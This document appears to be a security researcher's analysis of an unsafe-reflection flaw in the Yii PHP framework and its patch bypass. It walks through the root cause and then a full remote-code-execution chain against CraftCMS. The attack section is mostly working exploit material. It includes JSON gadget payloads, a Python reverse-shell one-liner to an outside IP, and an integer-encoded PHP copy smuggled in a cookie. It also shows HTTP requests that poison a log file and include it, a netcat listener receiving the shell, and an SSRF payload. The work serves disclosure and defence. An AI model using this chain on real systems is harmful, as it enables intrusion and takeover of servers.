Overview
Yii framework is a component-based MVC web application framework, providing developers with the building blocks to create complex web applications including modules for authentication, database access, REST etc. On April 9 2025, Yii released an advisory warning that Yii framework versions before 2.0.52 were susceptible to Unsafe Reflection. Unsafe Reflection vulnerabilities can have a varying range of impact depending on the class that is instantiated. The vulnerability stems from being able to trigger and manipulate the logic of code that is automatically executed within constructor and destructor methods of the instantiated class.
This new CVE is a patch bypass of CVE-2024-4990. This has been exploited in the wild by threat actors, particularly in regard to CraftCMS, where this vulnerability was used to trigger RCE, with the CraftCMS CVE-2025‑32432. CVE-2024-58136 was added to the Known Exploited Vulnerabilities (KEV) list on 2 May 2025.
There’s a great writeup of how Threat Actors (TA) utilized a dirty write to a PHP session file combined with a Local File Inclusion gadget to achieve Remote Code execution (RCE) in CraftCMS.
While investigating the root cause of this vulnerability we were interested in seeing whether we could identify further techniques or gadgets within the core of Yii, to trigger RCE akin to CVE-2025‑32432.
Analysis
Root cause of CVE-2024-4990
CVE-2024-4990 was disclosed on 30 May 2024, and is related to how Yii framework allows Behavior classes to be attached to Components, in order to extend their functionality.
Yii framework uses PHP magic methods to implement different logic when getting or setting variables from/to object properties. The code snippet below shows the magic __set() method in the class yii\base\Component, prior to the fix for CVE-2024-4990:
public function __set($name, $value)
{
$setter = 'set' . $name;
if (method_exists($this, $setter)) {
// set property
$this->$setter($value);
return;
} elseif (strncmp($name, 'on ', 3) === 0) {
// on event: attach event handler
$this->on(trim(substr($name, 3)), $value);
return;
} elseif (strncmp($name, 'as ', 3) === 0) {
// as behavior: attach behavior
$name = trim(substr($name, 3));
$this->attachBehavior($name, $value instanceof Behavior ? $value : Yii::createObject($value)); // [1]
return;
}
In the code above, the magic method has special handling for class properties whose name begins with as , and will directly call $this->attachBehavior() if the value of the property is an instance of the Behavior class. If not, the Yii::createObject() static method is called with the value of the property, which creates an instance of the behavior at [1]. The code snippet below shows the Yii::createObject() logic:
public static function createObject($type, array $params = [])
{
if (is_string($type)) {
return static::$container->get($type, $params);
}
if (is_callable($type, true)) {
return static::$container->invoke($type, $params);
}
if (!is_array($type)) {
throw new InvalidConfigException('Unsupported configuration type: ' . gettype($type));
}
if (isset($type['__class'])) {
$class = $type['__class'];
unset($type['__class'], $type['class']);
return static::$container->get($class, $params, $type);
}
if (isset($type['class'])) {
$class = $type['class'];
unset($type['class']);
return static::$container->get($class, $params, $type);
}
throw new InvalidConfigException('Object configuration must be an array containing a "class" or "__class" element.');
}The method accepts various types to create a new instance of the object based on the $type parameter. If the value is an array, and contains either the class or __class array keys, those are used to define the type of object to be instantiated, which may not be a Behavior class. This is where the issue lies. By setting an arbitrary array as a value of a component, it’s possible to instantiate arbitrary classes and trigger logic in their __construct or __destruct magic methods.
The original PoC used the following JSON POST data to trigger this issue (assuming the yii\web\JsonParser is enabled as a request parser), using the destructor method in the GuzzleHttp\Psr7\FnStream class as a limited code execution gadget:
{
"as hack": {
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [
[]
],
"_fn_close": "phpinfo"
}
}The __class array key is used to define the GuzzleHttp\Psr7\FnStream as the class to instantiate. The _fn_close key stores a string (phpinfo) in the $this->_fn_close class property. This property is used as a variable function in the __destruct method of the class, causing the phpinfo() function to be called. This is limited however, as only functions with no args can be called, reducing the effectiveness of the gadget.
/**
* The close method is called on the underlying stream only if possible.
*/
public function __destruct()
{
if (isset($this->_fn_close)) {
($this->_fn_close)();
}
}Fix for CVE-2024-4990
The fix for CVE-2024-4990 involved improving the logic in the magic method so that only classes that were the appropriate type (i.e. a subclass of the base yii\base\Behavior class) can be instantiated. The else block was changed as per the following in an attempt to mitigate the issue:
} elseif (strncmp($name, 'as ', 3) === 0) {
// as behavior: attach behavior
$name = trim(substr($name, 3));
if ($value instanceof Behavior) {
$this->attachBehavior($name, $value);
} elseif (isset($value['class']) && is_subclass_of($value['class'], 'yii\base\Behavior', true)){
$this->attachBehavior($name, Yii::createObject($value));
} elseif (is_string($value) && is_subclass_of($value, 'yii\base\Behavior', true)) {
$this->attachBehavior($name, Yii::createObject($value));
} else {
throw new InvalidConfigException('Class is not of type yii\base\Behavior or its subclasses');
}Note the fixed version only checks that the class array key is a subclass of a yii\base\Behavior.
Patch bypass (CVE-2024-58136)
As the fix only checks the class array key, and the order of the logic in Yii::createObject() first checks for the __class array key, the bypass is simple - provide a valid behavior class in the class key, but an arbitrary class in the __class key to satisfy the validation check but still instantiate an object of an arbitrary class. The PoC now looks like so:
{
"as hack": {
"__class": "GuzzleHttp\\Psr7\\FnStream",
"class": "yii\\behaviors\\AttributeBehavior",
"__construct()": [
[]
],
"_fn_close": "phpinfo"
}
}PoC
RCE
Rather than target the PHP session file as the TA did with CraftCMS, we noticed it was also possible to inject data into the application log via errors such as 404’s. So a request to a non-existent route such as http://localhost:9090/index.php?r=site%2FcontactXXX would result in an error similar to the following in the application log at <basePath>/runtime/logs/app.log:
025-05-19 08:27:17 [127.0.0.1][-][4ab07kvf0n8gckbhrf6idr4ne8][error][yii\web\HttpException:404] yii\base\InvalidRouteException: Unable to resolve the request: site/contactXXX in /home/calum/poc/yii/app/vendor/yiisoft/yii2/base/Controller.php:149
Stack trace:
#0 /home/calum/poc/yii/app/vendor/yiisoft/yii2/base/Module.php(552): yii\base\Controller->runAction()
#1 /home/calum/poc/yii/app/vendor/yiisoft/yii2/web/Application.php(103): yii\base\Module->runAction()
#2 /home/calum/poc/yii/app/vendor/yiisoft/yii2/base/Application.php(384): yii\web\Application->handleRequest()
#3 /home/calum/poc/yii/app/web/index.php(12): yii\base\Application->run()
#4 {main}
…If it were possible to first inject arbitrary PHP code into the log file, then include the log file with Local File Include gadget, we can achieve RCE in a similar way to the TA that attacked CraftCMS. The problem with this technique being; even if we can get PHP code into the app log in such a way, we still need to determine the application base path in order to include the file. An alternative to enumerating the base path was found - by instantiating the yii\web\Application or yii\console\Application classes it was possible to set an arbitrary basePath and trigger bootstrap logic to write the log file at an arbitrary path!
The payload was complicated by the fact that both single and double quotes were escaped in the log file and broke the syntax of the PHP code. As a way around this, we wrote a script to convert our reverse shell payload:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.178.103",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’Into an array of integers that can be converted by PHP back into the string payload then executed, so that the full payload becomes:
<?php $a=[112,121,116,104,111,110,51,32,45,99,32,39,105,109,112,111,114,116,32,115,111,99,107,101,116,44,115,117,98,112,114,111,99,101,115,115,44,111,115,59,115,61,115,111,99,107,101,116,46,115,111,99,107,101,116,40,115,111,99,107,101,116,46,65,70,95,73,78,69,84,44,115,111,99,107,101,116,46,83,79,67,75,95,83,84,82,69,65,77,41,59,115,46,99,111,110,110,101,99,116,40,40,34,49,57,50,46,49,54,56,46,49,55,56,46,49,48,51,34,44,49,49,49,49,41,41,59,111,115,46,100,117,112,50,40,115,46,102,105,108,101,110,111,40,41,44,48,41,59,32,111,115,46,100,117,112,50,40,115,46,102,105,108,101,110,111,40,41,44,49,41,59,32,111,115,46,100,117,112,50,40,115,46,102,105,108,101,110,111,40,41,44,50,41,59,112,61,115,117,98,112,114,111,99,101,115,115,46,99,97,108,108,40,91,34,47,98,105,110,47,115,104,34,44,34,45,105,34,93,41,59,39];$b=chr(32);foreach($a as $c){;$b.=chr($c);};system($b); ?>We set up CraftCMS version 5.6.16, the version prior to the patch in 5.6.17. Targeting the vulnerable image transform endpoint admin/actions/assets/generate-transform, we used the following HTTP POST request to write the payload to the log file. Note the Cookie value of the key XXX is a URL encoded PHP payload above.
POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:9090/admin/login
Content-Type: application/json
X-Requested-With: XMLHttpRequest
X-Registered-Asset-Bundles: 22e517a2,aee7f8dc,e505ffd6,6b4d7555,bb2f10a0,e5e48399,815d39ea,fc0bc163,1ccab40d,1e21896b,54698ee0,b842675b,1c3c9add,4b1fd285,d8d08e47,8f00ce04,8768f48b,cf3018d6,ec6d0256
X-Registered-Js-Files:
X-CSRF-Token: CTNYAatVSYkn8a1tvZgC5-a__Oi3Neh5sl4MpUX3sBxIYkMmGXMhIkUDOUD6OhPueJzJGO6tZbKT3ri5313FN8ovToh1qMBPLicLYC0HWXo=
Content-Length: 703
Origin: http://localhost:9090
Connection: keep-alive
Cookie: XXX=%3C%3Fphp%20%24a%3D%5B112%2C121%2C116%2C104%2C111%2C110%2C51%2C32%2C45%2C99%2C32%2C39%2C105%2C109%2C112%2C111%2C114%2C116%2C32%2C115%2C111%2C99%2C107%2C101%2C116%2C44%2C115%2C117%2C98%2C112%2C114%2C111%2C99%2C101%2C115%2C115%2C44%2C111%2C115%2C59%2C115%2C61%2C115%2C111%2C99%2C107%2C101%2C116%2C46%2C115%2C111%2C99%2C107%2C101%2C116%2C40%2C115%2C111%2C99%2C107%2C101%2C116%2C46%2C65%2C70%2C95%2C73%2C78%2C69%2C84%2C44%2C115%2C111%2C99%2C107%2C101%2C116%2C46%2C83%2C79%2C67%2C75%2C95%2C83%2C84%2C82%2C69%2C65%2C77%2C41%2C59%2C115%2C46%2C99%2C111%2C110%2C110%2C101%2C99%2C116%2C40%2C40%2C34%2C49%2C57%2C50%2C46%2C49%2C54%2C56%2C46%2C49%2C55%2C56%2C46%2C49%2C48%2C51%2C34%2C44%2C49%2C49%2C49%2C49%2C41%2C41%2C59%2C111%2C115%2C46%2C100%2C117%2C112%2C50%2C40%2C115%2C46%2C102%2C105%2C108%2C101%2C110%2C111%2C40%2C41%2C44%2C48%2C41%2C59%2C32%2C111%2C115%2C46%2C100%2C117%2C112%2C50%2C40%2C115%2C46%2C102%2C105%2C108%2C101%2C110%2C111%2C40%2C41%2C44%2C49%2C41%2C59%2C32%2C111%2C115%2C46%2C100%2C117%2C112%2C50%2C40%2C115%2C46%2C102%2C105%2C108%2C101%2C110%2C111%2C40%2C41%2C44%2C50%2C41%2C59%2C112%2C61%2C115%2C117%2C98%2C112%2C114%2C111%2C99%2C101%2C115%2C115%2C46%2C99%2C97%2C108%2C108%2C40%2C91%2C34%2C47%2C98%2C105%2C110%2C47%2C115%2C104%2C34%2C44%2C34%2C45%2C105%2C34%2C93%2C41%2C59%2C39%5D%3B%24b%3Dchr(32)%3Bforeach(%24a%20as%20%24c)%7B%3B%24b.%3Dchr(%24c)%3B%7D%3Bsystem(%24b)%3B%20%3F%3E; Pycharm-e26bae31=bf5af5c5-d5e4-4ae2-b27f-4f9b53fe8627; PHPSESSID=4ab07kvf0n8gckbhrf6idr4ne8; _csrf=eb640337461ff34ad7f3546fe743bcedb78dcfd577c5366b02ff4df701b3bfefa%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22h9J7lIq4cQCCClbXGfu0W1X8UUyEouGe%22%3B%7D; CraftSessionId=2u92eht9bmb6kb8cvuhi6n0mhm; CRAFT_CSRF_TOKEN=534a44d890d5a26b75e4660f34e9f8c24f7c3406a4e29b6f745a6fc55daa7437a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22L0aAQoZg_mduS5gUuaDQhh-NxqB-0_pSfEHF4txX%22%3B%7D
Priority: u=0
{
"assetId": 2,
"handle": {
"width": 123,
"height": 123,
"as hack": {
"__class": "yii\\console\\Application",
"class": "yii\\behaviors\\AttributeBehavior",
"__construct()": [
{
"id": "MyYii",
"basePath": "/tmp",
"bootstrap": [
"log"
],
"components": {
"log": {
"targets": [
{
"class": "yii\\log\\FileTarget",
"levels": [
"error",
"warning"
]
}
]
}
}
}
]
}
}
}The payload instantiates a new yii\console\Application that triggers bootstrap logic of the defined components, specifically the yii\log\FileTarget class, which sets the application log file path based on the basePath property defined:
public function init()
{
parent::init();
if ($this->logFile === null) {
$this->logFile = Yii::$app->getRuntimePath() . '/logs/app.log';
} else {
$this->logFile = Yii::getAlias($this->logFile);
}
…The error triggered by the invalid behaviour class being instantiated (yii\base\InvalidConfigException) causes a stack trace to be written to the newly created application log at /tmp/runtime/logs/app.log, including our URL-decoded cookie parameters, which include some PHP code:
$ cat /tmp/runtime/logs/app.log
…
$_COOKIE = [
'XXX' => '<?php $a=[112,121,116,104,111,110,51,32,45,99,32,39,105,109,112,111,114,116,32,115,111,99,107,101,116,44,115,117,98,112,114,111,99,101,115,115,44,111,115,59,115,61,115,111,99,107,101,116,46,115,111,99,107,101,116,40,115,111,99,107,101,116,46,65,70,95,73,78,69,84,44,115,111,99,107,101,116,46,83,79,67,75,95,83,84,82,69,65,77,41,59,115,46,99,111,110,110,101,99,116,40,40,34,49,57,50,46,49,54,56,46,49,55,56,46,49,48,51,34,44,49,49,49,49,41,41,59,111,115,46,100,117,112,50,40,115,46,102,105,108,101,110,111,40,41,44,48,41,59,32,111,115,46,100,117,112,50,40,115,46,102,105,108,101,110,111,40,41,44,49,41,59,32,111,115,46,100,117,112,50,40,115,46,102,105,108,101,110,111,40,41,44,50,41,59,112,61,115,117,98,112,114,111,99,101,115,115,46,99,97,108,108,40,91,34,47,98,105,110,47,115,104,34,44,34,45,105,34,93,41,59,39];$b=chr(32);foreach($a as $c){;$b.=chr($c);};system($b); ?>'The same local file inclusion gadget, the yii\rbac\PhpManager class, used by the TA who compromised CraftCMS can then be used to trigger RCE, by targeting the tainted application log file.
POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:9090/admin/login
Content-Type: application/json
X-Requested-With: XMLHttpRequest
X-Registered-Asset-Bundles: 22e517a2,aee7f8dc,e505ffd6,6b4d7555,bb2f10a0,e5e48399,815d39ea,fc0bc163,1ccab40d,1e21896b,54698ee0,b842675b,1c3c9add,4b1fd285,d8d08e47,8f00ce04,8768f48b,cf3018d6,ec6d0256
X-Registered-Js-Files:
X-CSRF-Token: CTNYAatVSYkn8a1tvZgC5-a__Oi3Neh5sl4MpUX3sBxIYkMmGXMhIkUDOUD6OhPueJzJGO6tZbKT3ri5313FN8ovToh1qMBPLicLYC0HWXo=
Content-Length: 286
Origin: http://localhost:9090
Connection: keep-alive
Cookie: PHPSESSID=4ab07kvf0n8gckbhrf6idr4ne8; _csrf=eb640337461ff34ad7f3546fe743bcedb78dcfd577c5366b02ff4df701b3bfefa%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22h9J7lIq4cQCCClbXGfu0W1X8UUyEouGe%22%3B%7D; CraftSessionId=2u92eht9bmb6kb8cvuhi6n0mhm; CRAFT_CSRF_TOKEN=534a44d890d5a26b75e4660f34e9f8c24f7c3406a4e29b6f745a6fc55daa7437a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22L0aAQoZg_mduS5gUuaDQhh-NxqB-0_pSfEHF4txX%22%3B%7D
Priority: u=0
{
"assetId": 2,
"handle": {
"width": 123,
"height": 123,
"as hack": {
"__class": "yii\\rbac\\PhpManager",
"class": "yii\\behaviors\\AttributeBehavior",
"__construct()": [
],
"itemFile": "/tmp/runtime/logs/app.log"
}
}
}Upon executing the above request, a connection to the reverse shell was established, confirming the RCE.
$ nc -l -p 1111 -vvv
Listening on 0.0.0.0 1111
Connection received on ubuntu-vm.fritz.box 50606
$ id
uid=1000(calum) gid=1000(calum) groups=1000(calum),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
$ pwd
/home/calum/git/craftcms/craft-app/webSSRF
Another gadget was found in the Psy\Readline\Hoa\FileRead class which was included when using the yiisoft/yii2-app-basic app template to create a PoC app. Using this gadget it was possible to trigger a blind SSRF request with the following JSON payload. The attacker can control all elements of the URL but has no access to the response. This could be leveraged to perform internal requests within the system that should normally be inaccessible to the attacker.
{
"as hack": {
"__class": "Psy\\Readline\\Hoa\\FileRead",
"class": "yii\\behaviors\\AttributeBehavior",
"__construct()": [
"http://127.0.0.1:8000/xxx"
]
}
}Which was confirmed a local Python HTTP server:
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [19/May/2025 12:57:49] code 404, message File not found
127.0.0.1 - - [19/May/2025 12:57:49] "GET /xxx HTTP/1.1" 404 -As there are now multiple proven avenues for RCE, with the possibility of SSRF and likely other gadgets available I have increased the attacker value to High following the additional analysis and context.



